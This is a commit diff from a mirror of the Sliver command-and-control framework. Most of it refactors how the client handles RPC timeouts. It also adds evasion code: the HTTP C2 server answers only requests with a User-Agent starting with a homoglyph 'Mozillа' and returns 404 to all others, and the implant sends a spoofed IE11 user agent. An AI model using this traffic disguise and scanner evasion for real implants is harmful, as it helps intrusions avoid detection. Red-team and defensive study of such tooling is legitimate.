mirror of
https://github.com/MrAle98/sliver
synced 2026-06-08 11:54:46 +00:00
added user-agent check, and rpc timeouts now return a non-nil envelope with an error
This commit is contained in:
@@ -225,10 +225,6 @@ func cat(ctx *grumble.Context, rpc RPCServer) {
|
||||
fmt.Printf(Warn+"Error: %s", resp.Err)
|
||||
return
|
||||
}
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"Error: %s", resp.Err)
|
||||
return
|
||||
}
|
||||
|
||||
download := &sliverpb.Download{}
|
||||
proto.Unmarshal(resp.Data, download)
|
||||
@@ -353,10 +349,6 @@ func upload(ctx *grumble.Context, rpc RPCServer) {
|
||||
return
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Unmarshaling envelope error: %v\n", err)
|
||||
return
|
||||
}
|
||||
upload := &sliverpb.Upload{}
|
||||
err = proto.Unmarshal(resp.Data, upload)
|
||||
if err != nil {
|
||||
|
||||
+3
-18
@@ -19,10 +19,11 @@ func jobs(ctx *grumble.Context, rpc RPCServer) {
|
||||
Type: clientpb.MsgJobs,
|
||||
Data: []byte{},
|
||||
}, defaultTimeout)
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "Command timeout\n")
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"Error: %s\n", resp.Err)
|
||||
return
|
||||
}
|
||||
|
||||
jobs := &clientpb.Jobs{}
|
||||
proto.Unmarshal(resp.Data, jobs)
|
||||
|
||||
@@ -72,10 +73,6 @@ func startMTLSListener(ctx *grumble.Context, rpc RPCServer) {
|
||||
Type: clientpb.MsgMtls,
|
||||
Data: data,
|
||||
}, defaultTimeout)
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "Command timeout\n")
|
||||
return
|
||||
}
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
|
||||
return
|
||||
@@ -102,10 +99,6 @@ func startDNSListener(ctx *grumble.Context, rpc RPCServer) {
|
||||
Type: clientpb.MsgDns,
|
||||
Data: data,
|
||||
}, defaultTimeout)
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "Command timeout\n")
|
||||
return
|
||||
}
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
|
||||
return
|
||||
@@ -130,10 +123,6 @@ func startHTTPSListener(ctx *grumble.Context, rpc RPCServer) {
|
||||
Type: clientpb.MsgHttps,
|
||||
Data: data,
|
||||
}, defaultTimeout)
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "Command timeout\n")
|
||||
return
|
||||
}
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
|
||||
return
|
||||
@@ -157,10 +146,6 @@ func startHTTPListener(ctx *grumble.Context, rpc RPCServer) {
|
||||
Type: clientpb.MsgHttp,
|
||||
Data: data,
|
||||
}, defaultTimeout)
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "Command timeout\n")
|
||||
return
|
||||
}
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
|
||||
return
|
||||
|
||||
@@ -42,10 +42,6 @@ func shell(ctx *grumble.Context, server *core.SliverServer) {
|
||||
Type: sliverpb.MsgShellReq,
|
||||
Data: shellReqData,
|
||||
}, defaultTimeout)
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "Error: Server did not respond to request")
|
||||
return
|
||||
}
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"Error: %s", resp.Err)
|
||||
return
|
||||
|
||||
@@ -32,8 +32,8 @@ func sessions(ctx *grumble.Context, rpc RPCServer) {
|
||||
Type: clientpb.MsgSessions,
|
||||
Data: []byte{},
|
||||
}, defaultTimeout)
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "Command timeout\n")
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"Error: %s\n", resp.Err)
|
||||
return
|
||||
}
|
||||
sessions := &clientpb.Sessions{}
|
||||
@@ -142,10 +142,6 @@ func kill(ctx *grumble.Context, rpc RPCServer) {
|
||||
Type: sliverpb.MsgKill,
|
||||
Data: data,
|
||||
}, defaultTimeout)
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "No response from server\n")
|
||||
return
|
||||
}
|
||||
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"%s\n", resp.Err)
|
||||
@@ -283,10 +279,6 @@ func compile(config *clientpb.SliverConfig, save string, rpc RPCServer) {
|
||||
Data: generateReq,
|
||||
}, 1200*time.Second) // TODO: make timeout a parameter
|
||||
ctrl <- true
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "No response from server\n")
|
||||
return
|
||||
}
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"%s\n", resp.Err)
|
||||
return
|
||||
@@ -430,10 +422,6 @@ func newProfile(ctx *grumble.Context, rpc RPCServer) {
|
||||
Type: clientpb.MsgNewProfile,
|
||||
Data: data,
|
||||
}, defaultTimeout)
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "No response from server\n")
|
||||
return
|
||||
}
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"%s\n", resp.Err)
|
||||
} else {
|
||||
@@ -445,10 +433,6 @@ func getSliverProfiles(rpc RPCServer) *map[string]*clientpb.Profile {
|
||||
resp := <-rpc(&sliverpb.Envelope{
|
||||
Type: clientpb.MsgProfiles,
|
||||
}, defaultTimeout)
|
||||
if resp == nil {
|
||||
fmt.Printf(Warn + "No response from server\n")
|
||||
return nil
|
||||
}
|
||||
if resp.Err != "" {
|
||||
fmt.Printf(Warn+"%s\n", resp.Err)
|
||||
return nil
|
||||
|
||||
+1
-1
@@ -176,7 +176,7 @@ func (ss *SliverServer) RPC(envelope *sliverpb.Envelope, timeout time.Duration)
|
||||
case respEnvelope := <-resp:
|
||||
respCh <- respEnvelope
|
||||
case <-time.After(timeout):
|
||||
respCh <- nil
|
||||
respCh <- &sliverpb.Envelope{Err: "Timeout"}
|
||||
}
|
||||
}()
|
||||
return respCh
|
||||
|
||||
+22
-6
@@ -163,11 +163,14 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
|
||||
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).Methods("GET")
|
||||
router.HandleFunc("/{rpath:.*\\.css$}", s.startSessionHandler).Methods("GET", "POST")
|
||||
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).Methods("GET", "POST")
|
||||
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).Methods("GET")
|
||||
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).Methods("GET")
|
||||
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterAgent).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.css$}", s.startSessionHandler).MatcherFunc(filterAgent).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterAgent).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterAgent).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterAgent).Methods(http.MethodGet)
|
||||
|
||||
// Request does not match the C2 profile so we pass it to the default handler
|
||||
router.HandleFunc("{rpath:.*}", defaultHandler).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
router.Use(loggingMiddleware)
|
||||
router.Use(defaultRespHeaders)
|
||||
@@ -175,6 +178,15 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
return router
|
||||
}
|
||||
|
||||
// This filters requests that do not have the correct "User-agent" header
|
||||
func filterAgent(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
userAgent := req.Header["User-Agent"]
|
||||
if 0 < len(userAgent) && strings.HasPrefix(userAgent[0], "Mozillа") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func loggingMiddleware(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
|
||||
log.Printf("[http] %v", req.RequestURI)
|
||||
@@ -207,6 +219,10 @@ func defaultRespHeaders(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func defaultHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
resp.WriteHeader(404)
|
||||
}
|
||||
|
||||
// [ HTTP Handlers ] ---------------------------------------------------------------
|
||||
|
||||
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
@@ -361,7 +377,7 @@ func (s *SliverHTTPC2) stopHandler(resp http.ResponseWriter, req *http.Request)
|
||||
|
||||
func (s *SliverHTTPC2) getSession(req *http.Request) *HTTPSession {
|
||||
for _, cookie := range req.Cookies() {
|
||||
log.Printf("[http] Cookie: %#v", cookie)
|
||||
// log.Printf("[http] Cookie: %#v", cookie)
|
||||
if cookie.Name == sessionCookieName {
|
||||
session := s.Sessions.Get(cookie.Value)
|
||||
if session != nil {
|
||||
|
||||
@@ -40,6 +40,8 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
// IE 11 User-agent with a unicode 'a'
|
||||
defaultUserAgent = "Mozillа/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
||||
defaultNetTimeout = time.Second * 60
|
||||
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
|
||||
)
|
||||
@@ -100,7 +102,8 @@ func (s *SliverHTTPClient) SessionInit() error {
|
||||
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri, body)
|
||||
req.Header.Set("User-Agent", "")
|
||||
req.Header.Set("User-Agent", defaultUserAgent)
|
||||
req.Header.Set("Accept-Language", "en-US")
|
||||
return req
|
||||
}
|
||||
|
||||
@@ -111,17 +114,20 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
// {{end}}
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil || resp.StatusCode != 200 {
|
||||
if err != nil {
|
||||
// {{if .Debug}}
|
||||
log.Printf("Failed to fetch server public key")
|
||||
log.Printf("[http] Failed to fetch server public key: %v", err)
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
// {{if .Debug}}
|
||||
log.Printf("[http] <- %d Server key response", resp.StatusCode)
|
||||
// {{end}}
|
||||
data, _ := ioutil.ReadAll(resp.Body)
|
||||
pubKeyBlock, _ := pem.Decode(data)
|
||||
if pubKeyBlock == nil {
|
||||
// {{if .Debug}}
|
||||
log.Printf("Failed to parse certificate PEM")
|
||||
log.Printf("[http] Failed to parse certificate PEM")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user